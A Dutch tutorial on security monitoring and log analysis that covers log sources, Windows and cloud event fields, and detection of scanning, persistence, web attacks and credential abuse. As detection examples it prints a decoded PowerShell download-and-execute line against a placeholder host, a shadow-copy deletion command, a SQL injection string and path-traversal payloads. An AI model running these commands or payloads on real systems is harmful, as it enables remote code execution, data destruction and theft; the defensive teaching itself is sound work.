Beveiligingsmonitoring en loganalyse

Een gebeurtenis is iets wat waarneembaar plaatsvindt, zoals een aanmelding of een proces dat start. Een logboek registreert gebeurtenissen. Een beveiligingsmelding geeft aan dat gemonitorde gebeurtenissen overeenkwamen met detectielogica. Een incident vormt daadwerkelijk of onmiddellijk dreigend een gevaar voor informatie of systemen, of schendt de wet, het beveiligingsbeleid, procedures of regels voor aanvaardbaar gebruik of dreigt die onmiddellijk te schenden. Een analist controleert het bewijs voordat die beslist hoe een beveiligingsmelding wordt geclassificeerd.

Kies een bron op basis van wat die toont

Firewalls registreren toegestane en geweigerde verbindingen. Proxy's en beveiligde webgateways voegen URL's, useragents en overdrachtsgroottes toe. VPN-gateways tonen sessies op afstand; IDS/IPS-hulpmiddelen melden verkeer dat overeenkomt met hun signaturen. Flowrecords, waaronder NetFlow en IPFIX, vatten communicatie samen met adressen, poorten, protocol, tijd, pakketten en bytes. Ze blijven bruikbaar voor versleuteld verkeer omdat ze de kenmerken ervan beschrijven, maar bevatten geen payload.

Hostlogboeken onthullen activiteit achter die verbindingen. Windows-beveiligingsgebeurtenissen omvatten authenticatie, accountwijzigingen en het aanmaken van processen wanneer auditing is ingeschakeld. De logboeken Systeem en Toepassing tonen services en software. Sysmon en EDR voegen details toe over processen, bestanden, het register en het netwerk. PowerShell-scriptblokregistratie legt scriptinhoud vast in gebeurtenis 4104. Linux-authenticatieberichten staan meestal in /var/log/auth.log op systemen uit de Debian-familie of /var/log/secure op systemen uit de Red Hat-familie. Het systemd-journaal lees je met journalctl; auditd registreert de activiteit die door zijn auditregels is geselecteerd.

Webtoegangs- en foutlogboeken, databaseaudits, audits van bedrijfsapplicaties en e-mailgateways verklaren verzoeken en gegevensgebruik. Bevindingen van antivirussoftware, DLP, WAF en kwetsbaarheidsscanners voegen een andere kijk toe. Een bevinding van een beveiligingshulpmiddel blijft een gebeurtenis die je naast de onderliggende activiteit moet interpreteren.

Volg een adres door de tijd

Een proxy registreert om 14.02 uur UTC een download door 10.20.30.45. De DHCP-lease wijst dat adres die dag van 13.30 tot 21.30 uur toe aan LAPTOP-0193. Doorzoek de procesgebeurtenissen van die laptop rond de download. De huidige leasehouder kan een ander apparaat zijn; als je het adres zonder de leaseperiode koppelt, kan het onderzoek bij de verkeerde host terechtkomen.

Controleer de verzameling voordat je erop vertrouwt

Controleer in een echt voorbeeld of de velden aanwezig zijn die je voor je vraag nodig hebt. Windows-gebeurtenis 4688 heeft het beleid voor vastlegging van opdrachtregels nodig om de opdrachttekst op te nemen. Sysmon-netwerkgebeurtenis 3 is standaard uitgeschakeld. Een SIEM ontvangt alleen de gegevens die ernaartoe worden gestuurd. Geef prioriteit aan nuttige details over kritieke IT-middelen en identiteiten met bijzondere rechten en controleer ook toegestane verbindingen: een toegestane verbinding kan een aanval vervoeren.

Parsen extraheert benoemde velden uit een ruwe logregel. Een zoekopdracht naar een tekstfragment kan een regel vinden; met geparste velden kun je mislukkingen per gebruiker tellen, adressen vergelijken en op gebeurtenistijdstip sorteren. Bewaar de ruwe regel zodat je de extractie kunt controleren.

Lees eerst de structuur

RFC 5424-syslog begint met prioriteit, versie, tijdstempel, host, applicatie, proces-ID, bericht-ID, gestructureerde gegevens en berichttekst. Oudere RFC 3164-tijdstempels zoals Mar 14 10:15:02 laten het jaar en de tijdzone weg; die moet je uit de context van de bron afleiden.

Syslogprioriteit combineert broncategorie en ernst:

Bij <38> geeft deling door 8 broncategorie 4 en rest 6, Informatief. Bij <34> heeft dezelfde broncategorie ernstniveau 2, Kritiek. De ernstniveaus lopen van 0 Noodgeval via 1 Alarm, 2 Kritiek, 3 Fout, 4 Waarschuwing, 5 Kennisgeving, 6 Informatief tot 7 Debug. Een lager getal is ernstiger. Dit is de beoordeling van de verzendende applicatie: een Informatieve SSH-mislukking kan nog steeds bij een aanval horen.

Windows EVTX-bestanden kun je bekijken als XML of weergegeven tekst. De System-sectie vermeldt de provider, gebeurtenis-ID, aanmaaktijd in UTC, computer en kanaal. EventData bevat velden die specifiek zijn voor de gebeurtenis. Bekijk voor 4625 de velden TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName en ProcessName. Type 10 betekent RemoteInteractive; type 2 betekent een interactieve lokale aanmelding. Dezelfde gebeurtenis-ID kan heel verschillende toegangsroutes beschrijven.

Extraheer velden op basis van hun betekenis

JSON-parsers zoeken sleutels op, inclusief geneste paden zoals responseElements.ConsoleLogin. Ze moeten omgaan met ontbrekende velden, velden met de waarde null en een veranderende sleutelvolgorde. Sleutel-waarde-records benoemen waarden direct, zoals in src=203.0.113.45 dport=3389 action=deny. CEF voegt vóór de sleutel-waarde-uitbreidingen een header toe met door verticale strepen gescheiden velden voor leverancier, product, signatuur, naam en ernst; gebruik een parser die de manier van escapen begrijpt.

Lees in een gecombineerd webtoegangslogboek het clientadres, de identiteit, geauthenticeerde gebruiker, tijd en tijdsverschuiving, het verzoek, de status, antwoordgrootte in bytes, verwijzende pagina en useragent. Een streepje betekent dat een waarde ontbreekt. Clients leveren useragents aan, dus een scannernaam is nuttig bewijs, maar een gewone browsernaam kan worden nagebootst.

Extraheer twee vormen van SSH-berichten

Deze regex verwerkt zowel een gewone gebruikersnaam als de frase “invalid user”:

Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)

In Failed password for invalid user admin from 203.0.113.45 port 52114 zijn de vastgelegde waarden admin, 203.0.113.45 en 52114. De optionele niet-vastleggende groep verwerkt “invalid user ” zonder dit als gebruikersnaam vast te leggen. \S+ legt tekst zonder witruimte vast; \d+ legt cijfers vast.

Het patroon extraheert een waarde in de vorm van een adres; het accepteert ook octetten zoals 999, dus adresvalidatie is een afzonderlijke stap. Vermijd gulzige .* waar die een veldscheidingsteken kan opslokken. Voeg records met meerdere regels vóór het parsen samen en monitor parseerfouten na software-updates: een gewijzigde indeling kan detectievelden ongemerkt leeg laten.

De verzameling moet blijven werken tijdens gewone storingen en opzettelijke verstoring. Een nauwkeurige regel heeft weinig waarde als de bron stopt met verzenden of de tijdstempels gebeurtenissen in de verkeerde volgorde plaatsen.

Kies en monitor de route

Een agent leest lokale loggegevens en kan ze bufferen, filteren, versleutelen en doorsturen. Routes zonder agent omvatten syslog, Windows Event Forwarding, het periodiek opvragen van cloud-API's en export naar opslag of gegevensstromen. Elke route heeft statusmonitoring nodig. UDP-syslog op poort 514 is niet versleuteld en geeft geen afleverbevestiging. TCP voegt betrouwbare aflevering toe; syslog via TLS op poort 6514 voegt versleuteling en serverauthenticatie toe. Gebruik betrouwbaar versleuteld transport over niet-vertrouwde netwerken en buffer gebeurtenissen tijdens storingen van de verzamelaar.

Synchroniseer de klokken van bronnen met een betrouwbare tijdservice, vaak NTP op UDP 123. Sla de tijd op in UTC en behoud de oorspronkelijke tijdsverschuiving. De firewalltijd 2026-03-14 10:15:00 +02:00 is gelijk aan 2026-03-14T08:15:00Z. Een hostklok die zeven minuten voorloopt, plaatst gebeurtenissen te laat en kan een tijdlijn omkeren. Grote klokafwijkingen verstoren ook tijdgevoelige authenticatie; Windows Kerberos staat standaard vijf minuten toe.

Het gebeurtenistijdstip legt vast wanneer activiteit plaatsvond. Het ontvangsttijdstip legt vast wanneer het platform die ontving. Gebufferde gebeurtenissen en cloudgebeurtenissen kunnen laat binnenkomen. Correleer op gebeurtenistijdstip en geef geplande zoekopdrachten voldoende vertraging of terugkijktijd om laat binnengekomen gebeurtenissen mee te nemen.

Bescherm en bewaar de registratie

Stuur loggegevens snel vanaf hosts door, beperk lees- en verwijderrechten en scheid het beheer van logboeken van gewoon beheer. Onveranderbare opslag en cryptografische controlewaarden helpen wijzigingen te detecteren of te voorkomen. CloudTrail-integriteitscontrole gebruikt SHA-256-controlebestanden. Monitor Windows 1102 voor het wissen van auditlogboeken en 4719 voor wijzigingen in auditbeleid, plus cloudacties zoals StopLogging en DeleteTrail. Beperk de toegang omdat logboeken persoonlijke en gevoelige gegevens kunnen bevatten.

De bewaartermijn volgt uit onderzoeksbehoeften en toepasselijke wettelijke, contractuele of andere regelgevende verplichtingen. PCI DSS v4.0-eis 10.5.1 vereist bijvoorbeeld ten minste 12 maanden auditgeschiedenis en de meest recente drie maanden direct beschikbaar. Recente doorzoekbare opslag wordt vaak hot storage genoemd; archieven kosten minder maar doorzoeken of terugzetten duurt langer. Standaardtermijnen alleen kunnen te kort zijn: Entra-audit- en aanmeldingslogboeken worden 7 dagen bewaard bij Free of 30 dagen bij P1/P2, terwijl de CloudTrail-gebeurtenisgeschiedenis 90 dagen aan beheergebeurtenissen biedt. Export maakt langere bewaring mogelijk.

Schat het volume en let op stilte

Voor 2.000 endpoints die elk 5.000 gebeurtenissen per dag produceren van elk 500 bytes, is het dagelijkse ruwe volume 5.000.000.000 bytes, of 5 GB. Negentig dagen vereisen 450 GB; een jaar vereist 1,825 TB vóór compressie, indexering en andere opslagoverhead.

Volg het verwachte volume en de levenssignalen van kritieke bronnen, fouten van verzamelaars, achterstanden in wachtrijen en parseerfouten. “30 minuten geen DC01-gebeurtenissen” is een statusmelding, ook als er geen aanvalsmelding is afgegaan. Een logstandaard moet auditcategorieën, vastlegging van opdrachtregels, scriptregistratie en passende details voor elk systeemtype vastleggen. Als je alleen fouten verzamelt, mis je beveiligingsactiviteit; routinematig verzamelen op debugniveau kan de opslag overbelasten.

Een Windows-gebeurtenis, een Linux-bericht en een cloudrecord kunnen hetzelfde soort actie met verschillende namen beschrijven. Normalisatie geeft die velden gemeenschappelijke namen, typen en waardeconventies. Verrijking voegt informatie toe over de betrokken personen, systemen en bestemmingen.

Normaliseer betekenissen, niet alleen namen

Voor mislukte aanmeldingen van jdoe vanaf 203.0.113.45 kunnen alle drie de bronnen worden omgezet naar event.category=authentication, event.outcome=failure, user.name=jdoe en source.ip=203.0.113.45. Eén authenticatieregel die op bron groepeert, kan dan alle drie doorzoeken.

Gemeenschappelijke schema's zijn onder meer ECS, OCSF, CIM en ASIM. De veldnamen in het voorbeeld volgen de ECS-stijl. Een schema definieert ook gegevenstypen en toegestane waarden. Sla adressen op als adreswaarden zodat zoekopdrachten naar subnetten werken. Zet tijden om naar ISO 8601 UTC. Koppel verschillende weergaven van succes of mislukking aan een gemeenschappelijke uitkomst, met gebruik van de werkelijke betekenis van de bronactie. Het resultaat “allowed” van een firewall beschrijft een beslissing over een verbinding, geen geslaagde gebruikersauthenticatie.

Koppel identiteiten zoals EXAMPLE\jdoe, jdoe@example.com en JDOE aan hetzelfde account waar ze werkelijk dat account vertegenwoordigen. Hoofdletters en kleine letters gelijk behandelen is passend wanneer de bron geen onderscheid maakt. Behoud het onderscheid waar hoofdletters en kleine letters wel van belang zijn en voeg twee personen niet samen alleen omdat hun korte gebruikersnamen overeenkomen.

Voeg context toe die de vraag verandert

Nuttige verrijking omvat de eigenaar van het IT-middel, het besturingssysteem, de bedrijfsrol, kriticiteit en bereikbaarheid vanaf internet; de afdeling van de gebruiker, bijzondere rechten, serviceaccountstatus en dienstverbandstatus; DHCP-geschiedenis; en de netwerkeigenaar, geschatte locatie en reputatie van openbare adressen.

Een beveiligingsmelding rapporteert herhaalde mislukkingen voor svc-backup vanaf 10.20.30.45. De context van het IT-middel wijst op een marketinglaptop. De identiteitscontext zegt dat dit serviceaccount zich normaal alleen vanaf back-upserver 10.0.8.12 aanmeldt. Deze onverwachte relatie verdient aandacht, ook voordat het aantal mislukkingen groot wordt.

Weet wanneer context is toegevoegd. Verrijking bij ontvangst bewaart de context die beschikbaar was toen de gebeurtenis binnenkwam. Verrijking tijdens het zoeken toont meestal de huidige toestand. Een huidige eigenaar van een IT-middel of adrestoewijzing kan oudere gebeurtenissen verkeerd weergeven, dus gebruik historische registraties wanneer de vraag over eigendom in het verleden gaat.

Controleer koppelingen en verminderingen

Geolocatie kan worden vertekend door VPN's, mobiele providers, proxy's en cloudhosting. Reputatie verandert wanneer infrastructuur van eigenaar verandert. Gebruik beide als ondersteunend bewijs en controleer hoe oud de gegevens zijn. Valideer veldkoppelingen aan de hand van ruwe voorbeelden: als je een bestemming aan source.ip koppelt, kan een regel het verkeerde systeem aanwijzen.

Deduplicatie verwijdert herhaalde afleveringen van één gebeurtenis. Aggregatie combineert meerdere gebeurtenissen en slaat bijvoorbeeld één telling voor 1.000 weigeringen op. Aggregatie bespaart ruimte maar verwijdert afzonderlijke details. Bewaar de velden en ruwe gebeurtenissen die detecties en onderzoeken nodig hebben; als je ze bij de bron wegfiltert, ontstaat een hiaat dat geen latere correlatie kan herstellen.

Een compromitteringsindicator is een waarneembaar spoor dat op compromittering wijst. Een atomaire indicator is één adres, domein, URL of hash. Een gedragsindicator is een patroon, zoals een werkstation dat contact maakt met veel andere werkstations op poort 445. Atomaire waarden zijn snel te herkennen en gemakkelijk te vervangen; gedrag beschrijft wat de handelende identiteit doet.

Lees de kenmerken van verbindingen

Een verticale scan onderzoekt veel poorten op één host. Een horizontale scan onderzoekt één poort op veel hosts. Veel geweigerde of geresette verbindingen met zeer kleine aantallen bytes passen bij scannen, maar toegestane kwetsbaarheidsscanners doen hetzelfde. Vergelijk bron, reikwijdte en schema. Verkennende internetactiviteit tegen een netwerkgrens heeft een andere context dan een scan door een intern werkstation.

Onverwachte relaties zijn net zo belangrijk als poorten. Werkstations die plotseling onderling contact maken via SMB 445, RDP 3389 of WinRM 5985/5986 kunnen wijzen op laterale beweging. Beheerservers en spronghosts kunnen dit op legitieme wijze doen. Een databaseserver die SSH start, een vanaf internet bereikbaar werkstation dat RDP accepteert of verkeer waarvan het protocol niet bij de poort past, verdient nader onderzoek. Een poortnummer wijst op een dienst; het stelt het werkelijke protocol niet vast.

Nieuwe MAC-adressen in DHCP-, switch-, NAC- of draadlozecontrollerlogboeken kunnen ongeautoriseerde apparaten onthullen. Vergelijk met inventaris- en aansluitregistraties: een nieuwe printer en een onbekend apparaat in een serversegment brengen verschillende risico's mee.

Onderzoek herhaling en naamgeving

Beaconing is herhaald contact voor aansturing en controle. De tijdstippen 0, 60, 121, 180, 241, 299, 360, 421, 480 en 540 seconden geven tussenpozen van gemiddeld 60 seconden met ongeveer 1,1 seconde spreiding. Kleine verzoeken, een herhaalde useragent en activiteit gedurende de nacht versterken het patroon. Controleer het proces dat de verbinding start en de bestemming, omdat ook updaters en telemetriesystemen zich melden. Aanvallers kunnen willekeurige vertraging, of jitter, toevoegen.

DNS biedt een ander perspectief. Een domeingeneratiealgoritme kan veel willekeurig ogende namen en veel NXDOMAIN-antwoorden opleveren. DNS-tunneling kan lange labels, veel unieke subdomeinen onder één domein en een ongebruikelijk volume TXT-query's opleveren. Een DNS-label is beperkt tot 63 tekens. Shannon-entropie meet de willekeurigheid van tekens: example is ongeveer 2,52 bits per teken, terwijl x9f3kq7z2b8wp1md 4,0 is. Hoge entropie komt ook voor in legitieme cloudnamen; combineer die met queryvolume, bestemmingsgeschiedenis en domeinleeftijd.

Volg volume en richting

Mogelijke exfiltratie omvat ongebruikelijk grote uitgaande overdrachten naar nieuwe bestemmingen, ongebruikelijke tijdstippen of een hoge verhouding tussen upload en download. Een server die 2,3 GB uploadt en 40 MB ontvangt, heeft een verhouding van 57,5 op 1, met decimale eenheden. Controleer bekende back-ups en synchronisatietaken voordat je beslist waarom dit gebeurde. HTTPS verbergt de payloadinhoud maar laat bruikbare metadata over volume en tijdstippen zichtbaar.

NAT kan veel apparaten achter één openbaar adres plaatsen. Achterhaal de interne bron met NAT-, proxy- of interne firewallregistraties op het relevante tijdstip. Alleen het land van een bestemming geeft te weinig context om te bepalen of een verbinding kwaadaardig is.

Hosttelemetrie verbindt netwerkactiviteit met het verantwoordelijke programma en de verantwoordelijke gebruiker. Het aanmaken van processen is bijzonder nuttig: Windows 4688 met vastlegging van opdrachtregels of Sysmon 1 toont het nieuwe proces, de opdrachtregel, het ouderproces en de gebruiker. Sysmon levert ook hashes en procesidentificaties die nuttig zijn om gebeurtenissen te verbinden.

Lees het ouderproces en de argumenten

Legitieme ondertekende hulpmiddelen kunnen worden misbruikt als legitieme systeemprogramma's die voor aanvallen worden misbruikt. certutil.exe kan bestanden downloaden, mshta.exe kan externe scriptinhoud uitvoeren en rundll32.exe kan een DLL laden uit een beschrijfbare map. vssadmin delete shadows /all /quiet verwijdert schaduwkopieën en kan aan ransomware voorafgaan. Beoordeel de argumenten, het ouderproces, de gebruiker, het pad, de ondertekenaar en omliggende acties samen. Een bekende bestandsnaam alleen zegt weinig over de intentie.

PowerShells -EncodedCommand bevat Base64-gecodeerde UTF-16LE-tekst. Het decoderen van de uitgewerkte opdracht levert iwr http://198.51.100.23/a.ps1|iex op: download een script en voer het uit in het geheugen. Codering en verborgen vensters komen ook voor bij beheer. Lees de gedecodeerde inhoud en, indien beschikbaar, scriptblokgebeurtenis 4104.

Zoek naar een manier om terug te keren

Persistentie maakt toegang na een herstart of afmelding mogelijk. Let op nieuwe services (7045 in Systeem of 4697 in Beveiliging), geplande taken (4698), Run-registerwaarden (Sysmon 13), opstartbestanden (Sysmon 11) en nieuwe lokale accounts (4720). Controleer in Linux cronvermeldingen, systemd-units en nieuwe sleutels in ~/.ssh/authorized_keys. Een taak die naar C:\Users\Public\upd.exe verwijst, vraagt om een andere verklaring dan een gedocumenteerde software-uitrol.

Het wissen van logboeken (1102), wijzigingen in auditbeleid (4719), een gestopte Sysmon-service (Sysmon 4) of het verwijderen van een EDR-agent kunnen wijzen op manipulatie van beveiligingsmonitoring. Controleer onderhoudsregistraties snel. Andere aanwijzingen zijn niet-goedgekeurde hulpmiddelen voor toegang op afstand, ongebruikelijke toegang tot het geheugen van lsass.exe (Sysmon 10) en snelle bestandswijzigingen met losgeldberichten. Hoog CPU- of GPU-gebruik kan bij cryptomining passen, maar vergelijk de werklast en geplande taken; een korte piek is zwak bewijs.

Bouw de uitvoeringsketen op

Om 09:12:04 UTC start Outlook Word met Invoice_8841.docm. Om 09:12:31 start Word gecodeerde PowerShell. Om 09:12:33 maakt dat PowerShell-proces verbinding met 198.51.100.23:80; om 09:12:40 wordt upd.exe geschreven; om 09:13:02 start een geplande taak het programma bij aanmelding. Verbind de proces- en bestandsregistraties, niet alleen dicht bij elkaar liggende tijdstempels. De keten toont aflevering, uitvoering, downloaden en persistentie en ondersteunt escalatie. Ontbrekende hosttelemetrie moet als zichtbaar hiaat in de registratie blijven staan.

Web- en applicatielogboeken onthullen activiteit die in gewone HTTPS-verbindingen verborgen zit. Toegangslogboeken beschrijven verzoeken, antwoordcodes, groottes en wat clients over zichzelf opgeven. Applicatie- en databaseaudits voegen toe wie gegevens heeft ingezien, rechten heeft gewijzigd, query's heeft uitgevoerd of records heeft geëxporteerd.

Decodeer het verzoek

URL-codering geeft bytes weer met % gevolgd door twee hexadecimale cijfers. Het fragment id=1%27%20OR%201%3D1--%20 wordt id=1' OR 1=1-- , wat op SQL-injectie wijst. Het pad ..%2F..%2F..%2Fetc%2Fpasswd wordt ../../../etc/passwd, wat op directorytraversal wijst. Andere aanwijzingen zijn UNION SELECT, scripttags of shellscheidingstekens gevolgd door opdrachten.

Decodeer lagen in volgorde. %252e%252e%252f wordt %2e%2e%2f en daarna ../. Bewaar zowel het ruwe verzoek als de gedecodeerde interpretatie; als je het origineel vervangt, gaat bewijs verloren van hoe de invoer is verstuurd.

Lees de volgorde rond het antwoord

Codes beschrijven de HTTP-afhandeling, niet de volledige beveiligingsuitkomst. Sommige applicaties gebruiken 200 voor foutpagina's en een WAF kan een blokkeerpagina met 200 teruggeven. De client bepaalt de useragent van een scanner. Noch een bekende useragent, noch één geblokkeerd verzoek maakt het onderzoek af.

In de uitgewerkte reeks doet een client 412 verzoeken in drie minuten, waarvan er 398 404 teruggeven. Een injectietest geeft daarna 500 terug; een later UNION SELECT-verzoek geeft 200 terug met 48.210 bytes tegenover de gebruikelijke 2.100. De ongeveer 23-voudige toename in grootte na de test ondersteunt de mogelijkheid dat gegevens zijn blootgesteld. Controleer databasequery's en applicatieauditgebeurtenissen om vast te stellen wat werkelijk is teruggegeven.

Verbind applicatie- en hostbewijs

Een webshell is een script waarmee een aanvaller via webverzoeken opdrachten kan uitvoeren. Een nieuw script in een uploadmap, herhaalde POST-verzoeken van enkele clients en parameters zoals cmd= verdienen onderzoek. Een bijpassend webserverproces dat cmd.exe of /bin/sh start, voegt direct hostbewijs van uitvoering toe.

Let ook op applicatie-identiteiten: geslaagde aanmeldingen na mislukkingen, onverwachte herkomst van API-sleutels, plotselinge reeksen die aanvraaglimieten bereiken en een gewone gebruiker die duizenden records exporteert, kunnen accountmisbruik onthullen. Deze patronen vereisen bruikbare auditvelden, niet alleen foutlogboeken. Als verzoeken en fouten na een uitrol pieken, onderzoek dan de uitrol en clientbronnen naast aanvalshypothesen; een foutieve versie of een werkelijke toename van verkeer kan ook verstoring veroorzaken.

Cloudproviders beschermen hun infrastructuur; klanten moeten monitoring voor hun accounts, identiteiten en resources inschakelen, verzamelen en beoordelen. Klikken in de console, scripts, opdrachtregelhulpmiddelen en infrastructuursjablonen beheren resources doorgaans via API's. Hun auditspoor beantwoordt wie een resource heeft aangemaakt, gewijzigd of verwijderd. Activiteit binnen een virtuele machine of applicatie vereist nog steeds logboeken van de workload.

Kies de juiste cloudlaag

De CloudTrail-gebeurtenisgeschiedenis biedt 90 dagen aan geregistreerde beheergebeurtenissen per regio. Langere geschiedenis en bredere dekking vereisen bewuste configuratie en datagebeurtenissen staan standaard uit. Google Admin Activity-logboeken worden altijd geschreven en kunnen niet worden uitgeschakeld; Data Access-logboeken staan standaard uit behalve voor BigQuery. Schakel bruikbare verzameling van gegevenstoegang in voor gevoelige resources en houd rekening met het volume.

Lees een cloudactie veld voor veld

In CloudTrail is eventTime UTC; eventSource identificeert de dienst; eventName identificeert de API-actie. userIdentity identificeert wie de aanroep doet, terwijl requestParameters het gevraagde doel en de instellingen identificeert. Lees ook sourceIPAddress, userAgent, awsRegion, responseElements en eventuele errorCode of errorMessage.

Bekijk voor een consoleaanmelding ConsoleLogin van signin.amazonaws.com, het succes of de mislukking onder responseElements.ConsoleLogin en additionalEventData.MFAUsed. Onderscheid bij een nieuwe sleutel degene die de aanroep doet van de gebruiker die in requestParameters.userName wordt genoemd. Dit kunnen verschillende identiteiten zijn.

Herken samenhangende cloudindicatoren

Een gestolen sleutel kan eerst GetCallerIdentity aanroepen en daarna inventariseren met List, Describe en Get. Herhaalde AccessDenied-resultaten onthullen het onderzoeken van rechten, ook wanneer toegangscontroles standhouden. Nieuwe authenticatiegegevens, onverwacht aangenomen rollen, rootgebruik of wijzigingen die poorten 22/3389 openstellen voor 0.0.0.0/0 verdienen controle van de context. Veel grote GPU-instanties in een ongebruikte regio kunnen op het kapen van cloudresources wijzen.

In de uitgewerkte reeks gaat ci-deploy van het gebruikelijke buildserveradres en de SDK-useragent over op een nieuw adres en CLI. De identiteit inventariseert resources, maakt een sleutel voor admin-backup aan en roept daarna StopLogging aan. Samen wijzen deze acties op misbruik van authenticatiegegevens, behoud van toegang en een poging om de monitoring uit te schakelen. Escaleer en controleer onafhankelijke bronnen op latere activiteit.

Verzamel gegevens uit relevante regio's en accounts. Kortstondige resources kunnen vóór de triage verdwijnen; gebruik stabiele resource-ID's en labels en stuur hostlogboeken centraal door. Een gedeeld cloudadres alleen kan geen klant identificeren of vaststellen dat activiteit bij de gebruikelijke automatisering van de organisatie hoort.

Een identiteitsprovider authenticeert gebruikers voor veel applicaties. De aanmeldingsregistratie kan gebruiker, app, adres, apparaat, client, methode, MFA-resultaat, beleidsresultaat en reden van mislukking tonen. Entra scheidt interactieve en niet-interactieve aanmeldingen van gebruikers, service-principals en beheerde identiteiten. Een zoekopdracht die beperkt is tot interactieve gebruikers mist activiteit van applicaties en tokens.

Interpreteer Windows-authenticatie

Domeincontrollers registreren activiteit van Kerberos-tickets (4768, 4769, 4771) en validatie van NTLM-authenticatiegegevens (4776). De benaderde computer registreert 4624 bij succes en 4625 bij mislukking. Gebeurtenis 4740 registreert een accountvergrendeling.

Bekijk bij 4625 zowel Status als SubStatus. 0xC000006A wijst op een verkeerd wachtwoord, 0xC0000064 op een onbekende gebruikersnaam, 0xC0000072 op een uitgeschakeld account, 0xC0000234 op een vergrendeld account en 0xC000006F op een aanmelding buiten de toegestane uren. Deze redenen onderscheiden een wachtwoordprobleem van een probleem met beleid of accountstatus.

Groepeer gebeurtenissen om de aanval zichtbaar te maken

Bij een bruteforceaanval worden veel wachtwoorden voor één account geraden. Password spraying probeert één of enkele waarschijnlijke wachtwoorden op veel accounts en blijft vaak onder de vergrendelingslimiet per account. Credential stuffing gebruikt gelekte combinaties van gebruikersnamen en wachtwoorden opnieuw. Tel pogingen per account en unieke accounts per bron en zoek daarna naar geslaagde aanmeldingen. Aanvallers kunnen pogingen over adressen verspreiden, dus geen van beide groeperingen geeft op zichzelf volledige dekking.

In de uitgewerkte password spraying probeert één adres 46 gebruikersnamen elk één keer: 41 resultaten met een verkeerd wachtwoord en vijf met een onbekende gebruiker. Een latere geslaagde netwerkaanmelding voor m.tanaka vanaf die bron verhoogt de prioriteit. Die wijst na de password spraying sterk op werkende authenticatiegegevens, maar controleer het authenticatiepakket en de daaropvolgende activiteit: type 3 kan ook gestolen hashes of tickets gebruiken.

Controleer hoe de sessie tot stand kwam

Onmogelijke verplaatsing vergelijkt de afstand met de verstreken tijd. Madrid en Seoul liggen ongeveer 10.000 km uit elkaar; in 45 minuten zou daarvoor ongeveer 13.300 km/h nodig zijn. Controleer uitgaande VPN-punten, gehoste desktops, geolocatie van mobiele providers, apparaten en sessie-uitkomsten voordat je de oorzaak bepaalt.

Herhaalde geweigerde MFA-pushverzoeken gevolgd door goedkeuring kunnen wijzen op MFA-vermoeidheid. Een ongebruikelijke sessie waarbij met een bestaand token aan MFA is voldaan, kan wijzen op hergebruik van een token. Verouderde authenticatieroutes zonder MFA en een nieuw geregistreerde MFA-methode na een risicovolle aanmelding verdienen ook aandacht. Een voltooide MFA-stap alleen verklaart deze routes niet.

Een serviceaccount dat zich interactief aanmeldt, een geslaagde aanmelding met het account van een vertrokken medewerker of een nieuw apparaat en een nieuwe locatie samen kunnen op gestolen toegang wijzen. Herhaalde, regelmatig terugkerende mislukkingen vanaf één intern apparaat passen vaak bij een verouderd opgeslagen wachtwoord. Volg mislukkingen naar geslaagde aanmeldingen en acties en controleer zowel gebruikersidentiteiten als workloadidentiteiten.

Een aanvaller die toegang krijgt, kan een extra authenticatiemiddel aanmaken of rechten toevoegen om actief te blijven. Gevoelige account- en rolwijzigingen zijn vaak zeldzaam genoeg om nauwkeurig te beoordelen, vooral wanneer ze op een ongebruikelijke aanmelding volgen.

Identificeer handelende identiteit, doelobject en wijziging

Lees vijf feiten: wie handelde, welk account of welke resource werd gewijzigd, wat er veranderde, wanneer en vanwaar. Bij een accountwijzigingsgebeurtenis is het subject de handelende identiteit en het doelobject het getroffen account. Vergelijk de actie vervolgens met een goedgekeurd verzoek en met wat de handelende identiteit normaal beheert.

Windows-gebeurtenissen omvatten 4720 voor het aanmaken van een account, 4722 voor het inschakelen, 4724 voor een poging om een wachtwoord opnieuw in te stellen en 4738 voor accountwijzigingen. Toevoegingen van leden verschijnen als 4728, 4732 en 4756 voor globale, lokale en universele beveiligingsgroepen. Beoordeel gevoelige groepen zoals Domain Admins, Enterprise Admins, Schema Admins en de lokale groep Administrators. Genest lidmaatschap is van belang: een wijziging in een groep binnen een groep met bijzondere rechten kan ook daadwerkelijk bijzondere rechten verlenen.

Gebeurtenis 4672 wijst bijzondere rechten toe bij een nieuwe aanmelding. Die komt voor bij gewoon werk van beheerders en systeemaccounts. Vraag je af of dit account de rechten hoort te hebben en of de herkomst van deze aanmelding wordt verwacht; elke 4672 als reden voor escalatie tellen zou ruis veroorzaken.

Stel dezelfde vragen voor de cloud

Onderzoek in AWS CreateUser, CreateAccessKey, acties voor het koppelen van beleid of voor inlinebeleid en UpdateAssumeRolePolicy. Een wijziging in het vertrouwensbeleid kan een ander account toestaan een rol aan te nemen. Lees de werkelijke wijziging in rechten of vertrouwen, niet alleen de naam van de actie.

Entra-auditgebeurtenissen kunnen toevoegingen aan rollen, nieuwe authenticatiegegevens van service-principals, toestemming voor applicaties, MFA-registratie en wijzigingen in voorwaardelijke toegang tonen. Een geheim of certificaat dat aan een applicatie-identiteit met veel rechten wordt toegevoegd, kan toegang behouden zonder een MFA-verzoek aan een mens. OAuth-toestemming kan een app blijvende toegang tot e-mail of bestanden geven, zelfs nadat het wachtwoord van een gebruiker is gewijzigd; beoordeel de toestemmingsverlening zelf.

Verbind de gebeurtenissen rond een rechtenwijziging

Om 23.40 uur UTC voegt helpdeskaccount hd-ops3 svc-backup zonder ticket toe aan Domain Admins. Om 23.31 uur had de handelende identiteit zich aangemeld via een onverwachte VPN-herkomst; om 23.44 uur gebruikt het doelaccount RDP om DC02 te benaderen. De ongebruikelijke handelende identiteit, ontbrekende toestemming, risicovolle voorafgaande toegang en het onmiddellijke gebruik van het nieuwe recht ondersteunen escalatie.

Twaalf accounts die om 07.00 uur door de dienst voor identiteitsbeheer zijn aangemaakt en overeenkomen met de instroomlijst, vertellen een ander verhaal. Toestemming is bewijs dat je moet controleren, geen aanname op basis van de naam van een beheerder.

Richt monitoring op lidmaatschappen met bijzondere rechten, rollen met veel rechten, serviceaccounts, authenticatiegegevens, toestemmingen en wijzigingen buiten de normale kanalen. Als je alleen het aanmaken van accounts volgt, mis je een aanvaller die een bestaand account of een bestaande applicatie wijzigt. Bewaar de gebeurtenis-ID's, waarden van vóór en na de wijziging en de verwijzing naar de toestemming in de triageregistratie, zodat het besluit kan worden beoordeeld.

